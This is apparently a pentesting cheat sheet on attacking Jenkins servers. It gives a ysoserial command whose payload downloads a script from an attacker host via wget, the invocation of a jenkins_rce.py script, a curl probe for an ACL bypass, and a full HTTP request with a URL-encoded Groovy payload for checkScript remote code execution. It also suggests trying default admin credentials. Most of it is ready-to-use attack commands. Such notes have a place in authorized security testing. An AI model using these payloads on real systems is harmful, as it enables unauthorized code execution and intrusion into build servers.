Jenkins Common Bugs

Introduction

What would you do if you came across a website that uses Jenkins?

How to Detect

Usually in the HTTP response there is a header like this X-Jenkins

1. Find the related CVE by checking jenkins version

• How to find the jenkins version

By checking the response header X-Jenkins, sometimes the version is printed there. If you found outdated jenkins version, find the exploit at pwn_jenkins

Some example CVE:

• Deserialization RCE in old Jenkins (CVE-2015-8103, Jenkins 1.638 and older)

Use ysoserial to generate a payload. Then RCE using this script:

java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out

• Authentication/ACL bypass (CVE-2018-1000861, Jenkins <2.150.1)

Details here.

If the Jenkins requests authentication but returns valid data using the following request, it is vulnerable:

curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a

Alternative RCE with Overall/Read and Job/Configure permissions here.

• CheckScript RCE in Jenkins (CVE-2019-1003030)

How to Exploit:

• PacketStorm

GET /jenkinselj/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {
  public x(){
"ping -c 1 xx.xx.xx.xx".execute()
}
} HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID.4495c8e0=node01jguwrtw481dx1bf3gaoq5o6no32.node0
Connection: close
Upgrade-Insecure-Requests: 1

URL Encoding the following for RCE

public class x {
  public x(){
"ping -c 1 xx.xx.xx.xx".execute()
    }
}

to

%70%75%62%6c%69%63%20%63%6c%61%73%73%20%78%20%7b%0a%20%20%70%75%62%6c%69%63%20%78%28%29%7b%0a%22%70%69%6e%67%20%2d%63%20%31%20%78%78%2e%78%78%2e%78%78%2e%78%78%22%2e%65%78%65%63%75%74%65%28%29%0a%7d%0a%7d

1. Default Credentials

Try to login using admin as username and password

1. Unauthenticated Jenkins Dashboard

Access https://target.com and if there is no login form then it is vulnerable

Reference

• pwn_jenkins